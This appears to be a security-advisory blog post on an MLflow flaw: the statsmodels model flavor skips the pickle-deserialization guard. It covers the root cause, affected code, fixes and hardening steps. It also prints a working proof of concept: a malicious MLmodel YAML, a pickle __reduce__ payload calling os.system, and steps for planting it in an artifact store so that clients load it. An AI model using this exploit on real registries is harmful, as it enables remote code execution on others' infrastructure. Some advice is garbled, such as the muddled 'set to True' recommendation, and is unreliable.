Listen to this Post
MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060.
When set to False, operators expect all pickle deserialization to be blocked.
The most recent related fix (21188) patched a bypass in the pyfunc flavor.
However, the mlflow.statsmodels flavor completely omits this guard.
An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.
This is a security control bypass.
The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.
Root Cause:
mlflow.pyfunc.load_model() dispatches to flavor _load_pyfunc implementations via:
model_impl = importlib.import_module(conf[bash])._load_pyfunc(data_path)
The guarded pattern from mlflow/sklearn/init.py (L526-533) checks MLFLOW_ALLOW_PICKLE_DESERIALIZATION and raises MlflowException if not allowed.
mlflow/statsmodels/__init__.py has no such check.
Its _load_model(path) calls smio.load_pickle(path) directly, which is a thin wrapper around pickle.load.
The statsmodels.iolib.api.load_pickle docstring warns: “Never unpickle data received from an untrusted or unauthenticated source.”
Trigger:
An attacker crafts an MLmodel YAML specifying mlflow.statsmodels as loader_module, with a malicious model.pkl alongside.
Any call to mlflow.pyfunc.load_model(“models:/MaliciousModel/1”) deserializes the pickle with no guard check.
Arbitrary code executes with the privileges of the calling process.
On default MLflow deployments (no –app-name basic-auth), authentication is disabled, so artifact upload requires no credentials.
Affected Code:
- mlflow/statsmodels/init.py L307-310: _load_model calls smio.load_pickle without checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION.
- mlflow/statsmodels/init.py L313-320: _load_pyfunc dispatches to _load_model without checking the control.
Permalink commit 0b0c576c.
Recommended Fix:
Add the missing guard to mlflow/statsmodels/__init__.py:
if not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get() and not is_in_databricks_runtime() and not is_in_databricks_model_serving_environment(): raise MlflowException(…)
DailyCVE Form:
Platform: MLflow
Version: All versions
Vulnerability: Pickle RCE Bypass
Severity: Critical
date: 2026-09-01
Prediction: Patch within 30days
What Undercode Say:
Verify the control is set but bypassed
export MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False
python -c “import os; print(os.environ.get(‘MLFLOW_ALLOW_PICKLE_DESERIALIZATION’))”
Malicious MLmodel YAML (cat MLmodel)
flavors:
python_function:
loader_module: mlflow.statsmodels
data: model.pkl
statsmodels:
data: model.pkl
statsmodels_version: 0.14.0
Generate malicious pickle (exploit.py)
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, (‘touch /tmp/pwned’,))
pickle.dump(Exploit(), open(‘model.pkl’,’wb’))
Load the model – RCE triggers even with guard False
python -c “import mlflow, os; os.environ[‘MLFLOW_ALLOW_PICKLE_DESERIALIZATION’]=’False’; mlflow.pyfunc.load_model(‘./malicious_model’)”
Check for successful execution
ls -la /tmp/pwned
Exploit: (Educational Purposes!)
- Create a malicious pickle with reduce calling os.system or subprocess.Popen.
2. Write the MLmodel YAML with loader_module: mlflow.statsmodels.
- Upload both files to any MLflow artifact store (e.g., S3, local, or model registry).
- Force any downstream client to run mlflow.pyfunc.load_model() on that URI.
- The statsmodels flavor bypasses the env guard and executes the payload.
Protection:
- Upgrade to a patched version once the fix is merged (adds guard to statsmodels).
- Set MLFLOW_ALLOW_PICKLE_DESERIALIZATION=True only if absolutely necessary; but this bypass ignores it, so apply the code patch manually.
- Use –app-name basic-auth to enforce authentication for artifact upload.
- Restrict artifact store write permissions to trusted users only.
- Avoid loading models from untrusted or public registries.
Impact:
- Full remote code execution (RCE) as the user running the MLflow process.
- Complete compromise of model serving infrastructure, data leakage, and lateral movement.
- Bypasses the primary mitigation for a known CVE series, rendering the security control ineffective.
- On default deployments, unauthenticated attackers can poison the model registry.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

